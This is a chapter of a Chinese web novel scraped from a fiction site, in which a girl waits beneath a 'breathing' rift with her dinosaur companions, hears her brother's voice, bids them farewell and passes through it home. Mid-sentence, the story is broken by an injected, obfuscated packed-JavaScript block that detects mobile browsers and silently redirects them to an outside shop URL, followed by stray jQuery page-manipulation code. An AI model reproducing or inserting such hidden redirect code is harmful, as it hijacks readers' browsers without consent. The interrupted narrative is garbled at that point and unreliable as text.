文趣网 > 都市小说 > 我的恐龙世界 > 59.裂缝的呼吸
    她醒过来的时候,天还没亮。

    不,不是天没亮——是裂缝暗了。它又变成了那种微弱的、快要熄灭的样子,像一颗垂死的星星。山谷里黑漆漆的,只有星星的光,银白色的,冷冷的。她躺在地上,没有动。绒绒的翅膀还盖着她,小角的头还枕在她脚上,小智缩在她脖子旁边。和睡前一样。

    她把玩偶从背心里摸出来,攥在手心里。凉的。

    “绒绒。”她轻声说。

    绒绒动了一下,翅膀收紧了一点。它醒了,但没有出声。只是用喙碰了碰她的耳朵——我在。

    她坐起来。身体不疼了。也许是睡得好,也许是习惯了。她抬头看着那道裂缝。它在暗着,但不是在消失——她能感觉到。它在呼吸。像一只沉睡的巨兽,胸膛一起一伏。亮的时候是呼,暗的时候是吸。她听不到声音,但能感觉到那种震动,从空气里传过来,穿过她的皮肤,一直传到骨头里。

    “它在呼吸。”她轻声说。

    绒绒歪头,看了看裂缝,发出一声低沉的咕噜——嗯。

    小角被她说话的声音弄醒了,抬起头,“咩”了一声——怎么了?她伸手摸了摸小角的头。“没事。还早。再睡会儿。”小角打了个哈欠——如果三角龙会打哈欠的话——把脑袋重新枕在她脚上,闭上眼睛。小智在她脖子旁边翻了个身,“啾”了一声,又睡了。

    她坐在那里,看着那道暗下去的裂缝,等它亮起来。

    等了大概半个小时,裂缝亮了。光从暗到亮,像有人慢慢拧开一盏灯。不是之前那种亮蓝色,也不是金色,是一种新的颜色——淡紫色。紫得像傍晚的云,像薰衣草,像她小时候用过的那支彩色铅笔。山谷被紫光照亮了,石头是紫色的,草是紫色的,她的手是紫色的。

    她把手举到眼前,看了很久。紫色的手指,紫色的指甲,紫色的掌纹。她把手放下,从背心里摸出那根带血的羽毛。羽毛在紫光里变成了深紫色,血迹变成了黑色。她把羽毛贴在脸上。

    “绒绒。裂缝又变颜色了。”

    绒绒歪头,看着那道紫色的裂缝,喉咙里发出咕噜咕噜的声音。它好像在思考什么,又好像只是在听裂缝的呼吸。

    她站起来,走到裂缝正下方,仰头看着它。它比昨天更低了。离地面大概只有三四米。她伸出手,踮起脚尖,够不到。还差一点。差大概两米。她跳了一下,手指尖碰到了什么——不是裂缝,是裂缝溢出来的光。光在她的指尖跳动,像水,像雾,像什么东西活着的。

    “再低一点。”她轻声说。“再低一点我就能摸到了。”

    她走回去,坐下来,靠着绒绒。从应急包里拿出三颗坚果,剥开壳,把果仁掰成四份。一份给绒绒,一份给小角,一份给小智,一份给自己。这是这些天来的规矩——每天三颗,一人一份。坚果不多了,只剩十几颗。但够了。明天也许就能进去了,吃不完的可以带回家。

    她把果仁放进嘴里,嚼了嚼。香,油,有一点点甜。她咽下去,感觉胃里暖暖的。绒绒吞了自己那份,歪头看她——还要。她笑着摇了摇头。“没了。今天三颗。”绒绒把头别过去了。小角嚼了果仁,打了个嗝,“咩”了一声。小智啄了自己那份,“啾”了一声,用翅膀擦了擦嘴。

    她看着它们,笑了。然后她站起来,走到山谷的边缘,拔了一大把蕨类,拿回来放在小角面前。小角低下头,大口大口地吃,嚼得嘎吱嘎吱响。她又走到小溪边,用蕨叶卷成小碗,舀了一碗水,端回来放在绒绒面前。绒绒低下头,喝了几口,抬起头,用喙碰了碰她的手。她又舀了一碗,自己喝了。又舀了一碗,放在小智面前。小智跳过去,蹲在碗边,用舌头舔水,舔了两口,打了个喷嚏——水进鼻子了。她笑了。“小智,你慢点。”

    她坐在石头上,看着它们吃东西。心里很平静。不是不着急,不是不害怕,是那种——该做的都做了,剩下的只能等。等裂缝再低一点,再稳定一点。她不知道要等多久,也许一天,也许两天,也许更久。但她不急。因为它们在。它们在她身边,她什么都不怕。

    太阳升起来了。东边的天空从灰白变成淡红,又从淡红变成金黄。阳光从山脊后面照过来,照在山谷里,和裂缝的紫光混在一起。世界变成了金紫色,像一幅水彩画。她看着那个颜色,看了很久。

    “林小北。”她说。“你妹在裂缝下面等第四天了。裂缝变低了,变成了紫色。也许今天就能碰到。”

    她把玩偶从背心里摸出来,握在手心里。

    “绒绒,小角,小智。谢谢你们陪我等。”

    她把玩偶贴在脸上。

    “今天,也许就是最后一天。”

    她站起来,走到裂缝正下方,仰头看着它。紫光从上面照下来,把她的脸照成了淡紫色。她伸出手,踮起脚尖,还是够不到。差一点。差大概两米。

    她想了想,走到山壁旁边,搬来几块石头,堆成一个矮台子。她爬上去,站在石头上,伸出手。这次更近了。手指离裂缝的边缘大概只有一米。她能看到裂缝里面的东西——不是光,是另一种东西。像水,又不像水。像雾,又不像雾。它在流动,很慢很慢,像蜂蜜从勺子上流下来。颜色从紫色变成蓝色,从蓝色变成金色,从金色变成白色。它在变色,像彩虹,又不像彩虹。彩虹是七种颜色分明的,它没有分明的界线。颜色混在一起,慢慢变,慢慢流。

    她看着那个流动的东西,心里有一个声音在说:进去。进去就能回家。

    但她没有跳。因为她不知道裂缝是否稳定。她不知道跳进去会不会出事。她不知道进去之后是到家还是到另一个更远的地方。她不能冒险。她只有一次机会。

    她从石头上跳下来,走回去,坐下来,靠着绒绒。

    “再等等。”她对自己说。“等它再低一点。再稳定一点。”

    她等了一整天。

    裂缝的变化很慢,但她能感觉到。它在呼吸。亮的时候扩张,暗的时候收缩。扩张的时候变低,收缩的时候变高。上午它低了一些,下午又高了一些。它不是一直在变低的,它是在呼吸。她坐在石头上,看着它,记录它的节奏。亮五分钟,暗三十秒。亮七分钟,暗四十秒。亮十分钟,暗一分钟。没有规律,但有一个趋势——亮的时间越来越长,暗的时间越来越短。它在变得更稳定。

    “明天。”她轻声说。“也许明天就能进去了。”

    傍晚的时候,裂缝又变了颜色。从紫色变成了橙色,像落日,像橘子,像秋天。山谷被橙光照亮了,石头是橙色的,草是橙色的,她的皮肤是橙色的。她看着那个颜色,想起了妈妈做的红烧肉。红烧肉就是这种颜色——橙红色的,油亮亮的,冒着热气。

    “妈。”她轻声说。“我快回来了。”

    她从应急包里拿出一把蕨叶,放在小角面前。小角吃了。她又舀了水,给绒绒和小智喝了。她自己喝了几口。然后她靠着绒绒,看着那道橙色的裂缝。它在呼吸,一起一伏,像心跳。她听着那个声音——不是声音,是震动。很低很低,低到只能用身体感觉。那种震动从空气里传过来,穿过她的皮肤,和她的心跳合在一起。咚,嗒,咚,嗒。

    她闭上眼睛,感受那个节奏。很快,她就睡着了。

    醒来的时候,天黑了。裂缝还在,但颜色又变了。从橙色变成了银白色,像月亮,像星星,像霜。山谷被银光照亮了,石头是银色的,草是银色的,她的头发是银色的。她看着自己的手,银色的,像涂了一层银粉。

    她站起来,走到裂缝正下方。它又变低了。离地面大概只有两米。她伸出手,踮起脚尖,指尖碰到了裂缝的边缘。

    凉的。不是冰的那种凉,是那种——像金属,像玻璃,像冬天的湖水。她的指尖碰到它的时候,整个身体像被电了一下。不是疼,是一种麻,从指尖传到手臂,从手臂传到肩膀,从肩膀传到心脏。她听到了一个声音。不是裂缝的震动,是另一个声音。很远很远,像从另一个世界传来的。

    那个声音在说:“小禾。”

    她的眼泪掉下来了。那是林小北的声音。她认得。她听了十六年。

    “小北。”她对着裂缝说。“我在这里。”

    没有回答。但她知道,他听到了。她不知道他是怎么做到的,但她知道他在那边等她。

    她把手指收回来,走回石头旁边,坐下来。绒绒歪头看着她,眼睛里有一种她没见过的东西——是担心?是询问?她伸手摸了摸绒绒的头。

    “没事。我听到我哥的声音了。他在等我。”

    绒绒用喙碰了碰她的脸。

    她靠着绒绒,看着那道银白色的裂缝。它在呼吸,一起一伏。她跟着它的节奏呼吸。吸——呼——吸——呼——

    “林小北。”她说。“你妹听到你的声音了。你在等我。”

    她吸了吸鼻子。

    “明天,也许明天就能进去了。”

    她把玩偶从背心里摸出来,握在手心里。玩偶在银光里变成了银色,歪歪扭扭的翅膀,歪歪扭扭的脖子。她看着它,看了很久。

    “绒绒。明天我就要走了。”

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735591|207662||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把玩偶贴在脸上。

    “小角。明天我就要回家了。”

    她把玩偶放回去,从背心里摸出那块沾血的兽皮。

    “小智。明天我就要说再见了。”

    她把它们攥在手心里,攥得很紧。

    “我会回来的。等我。等我长大,等我学更多东西,等我知道怎么回来。”

    她把脸埋在膝盖里。

    “你们要等我。”

    没有人回答。但风从裂缝那边吹过来,带着那种麻酥酥的、像电一样的感觉。她抬起头,看着那道银白色的裂缝。它在呼吸,一起一伏,像在对她说:好。

    她靠着绒绒,看着星星。今晚的星星很多,密密麻麻的。裂缝的银光和星星的银光混在一起,分不清哪个是哪个。她看着那些光,看了很久。

    “晚安,林小北。”

    “晚安,绒绒。”

    “晚安,小角。”

    “晚安,小智。”

    她闭上眼睛。银白色的光透过眼皮,把她的世界变成银白色。那种颜色很安静,像雪,像月光,像妈妈唱过的摇篮曲。

    她在那种颜色里睡着了。

    梦到了裂缝。她站在它面前,伸出手,碰了碰它。它没有电她,只是轻轻把她吸了进去。她飘在里面,像泡在水里。周围是彩色的光,红橙黄绿蓝靛紫,混在一起,慢慢地流。她飘了很久,然后看到了一个亮光。白色的,刺眼的,像太阳。她朝那个亮光飘过去,越飘越快,越飘越快。然后她掉了下去。

    摔在地上。

    屁股疼。

    她睁开眼睛。

    天亮了。裂缝还在。银白色的,很低,很低。离地面大概只有一米。

    她坐起来,揉了揉眼睛。

    “今天。”她轻声说。“今天就能进去了。”

    她没有站起来。她坐在那里,抱着膝盖,看着那道裂缝。看了很久。然后把应急包打开,把里面的东西一样一样拿出来。坚果、蕨叶、羽毛、兽皮、碎叶子、水袋、玩偶。她把它们排成一排。

    “这些都要带回家。”她轻声说。

    她把它们重新装好。坚果放在最下面,用蕨叶垫着。羽毛扎成束,塞在侧面。兽皮和碎叶子用另一片蕨叶包好,放在最上面。水袋挂在包外面。玩偶塞在背心里,贴着心脏。

    她站起来,背上应急包,拿起短鱼叉。短鱼叉跟了她一路,从山洞到荒漠,从荒漠到山,从山到裂缝。它帮过她很多次——叉鱼,当拐杖,挖土,刻树。她舍不得扔。

    “你也带回家。”她对着鱼叉说。

    她把鱼叉别在腰上,走到裂缝正下方。它就在头顶,离地面不到一米。她伸手就能碰到。她没有碰。她蹲下来,把绒绒的头抱在怀里。

    “绒绒。我要进去了。”

    绒绒用喙碰了碰她的脸。一下,两下,三下。然后它把脑袋靠在她肩膀上,不动了。她抱着它,抱了很久。

    然后她放开它,抱住小角的头。

    “小角。谢谢你陪我走了这么远。”

    小角用头拱了拱她的手,“咩”了一声——我等你。

    她放开小角,把小智从肩膀上拿下来,捧在手心里。

    “小智。谢谢你偷坚果给我。”

    小智用头蹭了蹭她的手指,“啾”了一声——我等你。

    她把小智放回肩膀上,站起来,看着那道裂缝。

    “我走了。”

    她伸出手,碰了碰裂缝。凉的,麻的,像被电了一下。裂缝的光变得更亮了,银白色的,刺眼的。它开始吸她,不是那种很猛的吸,是那种轻轻的、像水流的吸。她的手指陷进去了,然后是手腕,然后是手臂。她的身体被一点一点地吸进去。

    她回头看了一眼。

    绒绒站在地上,仰头看着她。小角站在它旁边,仰头看着她。小智蹲在小角头上,仰头看着她。

    三双眼睛,看着她。

    “等我。”她说。“我会回来的。”

    然后她整个人被吸了进去。

    光淹没了她。

    她什么都看不见了。

    只能听到一个声音——很低,很远,像心跳。

    咚,嗒,咚,嗒。

    那是裂缝的呼吸。

    也是她的心跳。

    白垩纪,大概是第九十三天。

    出发后的第二十八天。

    裂缝低到了一米。

    她进去了。

    回家了。

    但她会回来的。

    她答应过它们。